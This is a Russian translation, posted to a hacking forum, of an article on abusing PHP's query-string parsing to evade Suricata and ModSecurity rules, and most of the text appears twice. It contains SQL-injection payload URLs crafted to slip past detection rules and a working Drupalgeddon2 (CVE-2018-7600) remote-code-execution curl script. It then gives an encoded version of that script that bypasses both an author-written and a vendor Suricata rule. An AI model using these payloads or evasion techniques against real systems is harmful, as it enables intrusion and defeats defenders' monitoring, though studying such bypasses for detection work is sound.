Переведено специально для xss.pro by Stalker
Оригинальная статья
В этом посте мы увидим, как синтаксический анализатор PHP-запросов может привести к обходу многих правил IDS / IPS и Application Firewall.
Вступление
Как вы знаете, PHP преобразует строку запроса (в URL или в теле) в ассоциативный массив внутри
В PHP значение имени аргумента в приведенном выше примере
Почему так?
PHP должен преобразовать все аргументы в допустимое имя переменной, поэтому при разборе строки запроса он выполняет две основные функции:
-удаляет начальные пробелы
-преобразует некоторые символы в подчеркивание (включая пробелы)
Например:
С помощью простого цикла, такого как следующий, вы можете узнать, какой символ удален или преобразован в подчеркивание, с помощью функции
GIF с примером запуска parse_str.php
В приведенной выше схеме
Suricata
Для непосвященных Suricata является «быстрым и надежным механизмом обнаружения сетевых угроз с открытым исходным кодом», и его механизм способен обнаруживать вторжения в реальном времени (IDS), встроенное предотвращение вторжений (IPS), мониторинг сетевой безопасности (NSM) и автономная обработка pcap.
С помощью Suricata вы даже можете определить код, которой проверяет HTTP-трафик. Предположим, у вас есть такое код:
Этот код проверяет, имеет ли
Выполняя поиск в Google и GitHub, я обнаружил, что существует множество правил Suricata для PHP, которые можно обойти, заменив подчеркивание, добавив нулевой байт или пробел в проверяемом имени аргумента. Настоящий пример:
Как мы уже видели, это можно обойти:
Если честно, было бы достаточно изменить позицию аргумента следующим образом:
WAF (ModSecurity)
Синтаксический анализатор PHP-запросов может также использоваться для обхода правил WAF. Представьте себе правило ModSecurity, такое как
Это заблокирует все следующие запросы:
PoC || GTFO
Давайте создадим PoC с Suricata и Drupal CMS для использования CVE-2018-7600 (удаленное выполнение кода Drupalgeddon2). Для простоты я буду запускать Suricata и Drupal на двух док-контейнерах и попытаюсь использовать Drupal из контейнера Suricata.
Я активирую 2 кода в Suricata
-Пользовательский код, который блокирует
-Positive Technologies Suricata rule для CVE-2018-7600
Для установки Suricata я следовал официальному руководству по установке, а для Drupal я запустил контейнер vulhub, который можно клонировать здесь:
Окей, во-первых, давайте попробуем использовать CVE-2018-7600. Я хочу создать небольшой скрипт bash, который выполняет curl, что-то вроде:
Как вы можете видеть скрипт выше выполняет команду
Теперь давайте попробуем импортировать следующие два кода в Suricata: я написал первый, и он просто пытается сопоставить
Мой код:
PT код:
После перезапуска Suricata я смогу узнать, будут ли два приведенных выше кода перехватывать мой эксплойт:
Ура! У нас есть два лога Suricata:
Обходим всё!
Оба кода действительно легко обойти. Мы уже видели, как обойти мой код злоупотребления синтаксическим анализатором строк запроса PHP. Мы можем заменить
Как видите, только код PT соответствует. Анализируя регулярное выражение правила PT, мы видим, что оно соответствует # и его зашифрованной версии% 23. То, что он не делает, должно соответствовать закодированной версии символа подчеркивания. Итак, мы можем просто обойти это, используя
Оба кода были обойдены следующим эксплоитом:
P.S. Поддержи переводы печеньками к чаю:
QIWI +380999543560
Yandex.Money 410018707581713
Оригинальная статья
В этом посте мы увидим, как синтаксический анализатор PHP-запросов может привести к обходу многих правил IDS / IPS и Application Firewall.
Вступление
Как вы знаете, PHP преобразует строку запроса (в URL или в теле) в ассоциативный массив внутри
$ _GET или $ _POST. Например: /? Foo = bar становится Array ([foo] => "bar"). Процесс разбора строки запроса удаляет или заменяет некоторые символы в именах аргументов подчеркиванием. Например, /?% 20news [id% 00 = 42 будет преобразовано в Array ([news_id] => 42). Если у IDS / IPS или WAF есть правило для блокировки или регистрации нечислового значения в параметре news_id, это можно обойти, злоупотребив этим процессом анализа, например:
PHP:
/news.php?%20news[id%00=42"+AND+1=0--
В PHP значение имени аргумента в приведенном выше примере
% 20news [id% 00 будет сохранено в $ _GET ["news_id"].Почему так?
PHP должен преобразовать все аргументы в допустимое имя переменной, поэтому при разборе строки запроса он выполняет две основные функции:
-удаляет начальные пробелы
-преобразует некоторые символы в подчеркивание (включая пробелы)
Например:
С помощью простого цикла, такого как следующий, вы можете узнать, какой символ удален или преобразован в подчеркивание, с помощью функции
parse_str:
PHP parser_str
PHP:
<?php
foreach(
[
"{chr}foo_bar",
"foo{chr}bar",
"foo_bar{chr}"
] as $k => $arg) {
for($i=0;$i<=255;$i++) {
echo "\033[999D\033[K\r";
echo "[".$arg."] check ".bin2hex(chr($i))."";
parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);
/* yes... I've added a sleep time on each loop just for
the scenic effect :) like that movie with unrealistic
brute-force where the password are obtained
one byte at a time (∩`-´)⊃━☆゚.*・。゚
*/
usleep(5000);
if(isset($o["foo_bar"])) {
echo "\033[999D\033[K\r";
echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
}
}
echo "\033[999D\033[K\r";
echo "\n";
}
GIF с примером запуска parse_str.php
parse_str используется поверх get, post и cookie. Нечто подобное происходит и с заголовками, если ваш веб-сервер принимает имена заголовков с точками или пробелами. Я трижды выполнил цикл, описанный выше, перечисляя все символы от 0 до 255 в обоих концах имени параметра и вместо подчеркивания. Это результаты:- [1st]foo_bar
- foo[2nd]bar
- foo_bar[3rd]
В приведенной выше схеме
foo% 20bar и foo + bar эквивалентны и анализируются как foo bar.Suricata
Для непосвященных Suricata является «быстрым и надежным механизмом обнаружения сетевых угроз с открытым исходным кодом», и его механизм способен обнаруживать вторжения в реальном времени (IDS), встроенное предотвращение вторжений (IPS), мониторинг сетевой безопасности (NSM) и автономная обработка pcap.
С помощью Suricata вы даже можете определить код, которой проверяет HTTP-трафик. Предположим, у вас есть такое код:
Код:
alert http any any -> $HOME_NET any (\
msg: "Block SQLi"; flow:established,to_server;\
content: "POST"; http_method;\
pcre: "/news_id=[^0-9]+/Pi";\
sid:1234567;\
)
Этот код проверяет, имеет ли
news_id нечисловое значение. В PHP это можно легко обойти, используя неправильный парсер строки запроса, например, один из следующих:
Код:
/?news[id=1%22+AND+1=1--'
/?news%5bid=1%22+AND+1=1--'
/?news_id%00=1%22+AND+1=1--'
Выполняя поиск в Google и GitHub, я обнаружил, что существует множество правил Suricata для PHP, которые можно обойти, заменив подчеркивание, добавив нулевой байт или пробел в проверяемом имени аргумента. Настоящий пример:
Код:
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET CURRENT_EVENTS Sakura exploit kit exploit download request /view.php"; flow:established,to_server; content:"/view.php?i="; http_uri; fast_pattern:only; pcre:"//view.php?i=\d&key=[0-9a-f]{32}$/U"; classtype:trojan-activity; sid:2015678; rev:2;)
Как мы уже видели, это можно обойти:
/view.php?i[B]%00[/B]=1&[B]%20[/B]key=d3b07384d113edec49eaa6238ad5ff00 Если честно, было бы достаточно изменить позицию аргумента следующим образом:
/view.php?key=d3b07384d113edec49eaa6238ad5ff00&i=1 WAF (ModSecurity)
Синтаксический анализатор PHP-запросов может также использоваться для обхода правил WAF. Представьте себе правило ModSecurity, такое как
SecRule! ARGS: news_id "@rx ^ [0-9] + $" "block", очевидно, подвержено той же технологии обхода. К счастью, в ModSecurity вы можете указать аргумент строки запроса с помощью регулярного выражения. Что-то вроде:SecRule !ARGS:/news.id/ "@rx ^[0-9]+$" "block" Это заблокирует все следующие запросы:
Код:
⛔/?news[id=1%22+AND+1=1--'
⛔/?news%5bid=1%22+AND+1=1--'
⛔/?news_id%00=1%22+AND+1=1--'
PoC || GTFO
Давайте создадим PoC с Suricata и Drupal CMS для использования CVE-2018-7600 (удаленное выполнение кода Drupalgeddon2). Для простоты я буду запускать Suricata и Drupal на двух док-контейнерах и попытаюсь использовать Drupal из контейнера Suricata.
Я активирую 2 кода в Suricata
-Пользовательский код, который блокирует
form_id=user_register_form -Positive Technologies Suricata rule для CVE-2018-7600
Для установки Suricata я следовал официальному руководству по установке, а для Drupal я запустил контейнер vulhub, который можно клонировать здесь:
Окей, во-первых, давайте попробуем использовать CVE-2018-7600. Я хочу создать небольшой скрипт bash, который выполняет curl, что-то вроде:
PHP:
#!/bin/bash
URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"
curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"
Как вы можете видеть скрипт выше выполняет команду
id. Давай попробуем:
Теперь давайте попробуем импортировать следующие два кода в Suricata: я написал первый, и он просто пытается сопоставить
form_id = user_register_form внутри тела запроса; Позитивная Технология записывает второй и соответствует / user / register в URL-адресе запроса и что-то вроде #post_render в теле запроса.Мой код:
PHP:
alert http any any -> $HOME_NET any (\
msg: "Possible Drupalgeddon2 attack";\
flow: established, to_server;\
content: "/user/register"; http_uri;\
content: "POST"; http_method;\
pcre: "/form_id=user_register_form/Pi";\
sid: 10002807;\
rev: 1;\
)
PT код:
PHP:
alert http any any -> $HOME_NET any (\
msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600)"; \
flow: established, to_server; \
content: "/user/register"; http_uri; \
content: "POST"; http_method; \
content: "drupal"; http_client_body; \
pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi"; \
reference: cve, 2018-7600; \
reference: url, research.checkpoint.com/uncovering-drupalgeddon-2; \
classtype: attempted-admin; \
reference: url, github.com/ptresearch/AttackDetection; \
metadata: Open Ptsecurity.com ruleset; \
sid: 10002808; \
rev: 2; \
)
После перезапуска Suricata я смогу узнать, будут ли два приведенных выше кода перехватывать мой эксплойт:
Ура! У нас есть два лога Suricata:
- ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600) [Priority: 1] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080
- Possible Drupalgeddon2 attack [Priority: 3] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080
Обходим всё!
Оба кода действительно легко обойти. Мы уже видели, как обойти мой код злоупотребления синтаксическим анализатором строк запроса PHP. Мы можем заменить
form_id = user_register_form на что-то вроде: form%5bid=user_register_form
Как видите, только код PT соответствует. Анализируя регулярное выражение правила PT, мы видим, что оно соответствует # и его зашифрованной версии% 23. То, что он не делает, должно соответствовать закодированной версии символа подчеркивания. Итак, мы можем просто обойти это, используя
post% 5frender вместо post_render:
Оба кода были обойдены следующим эксплоитом:
Bash:
#!/bin/bash
URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"
curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"
P.S. Поддержи переводы печеньками к чаю:
QIWI +380999543560
Yandex.Money 410018707581713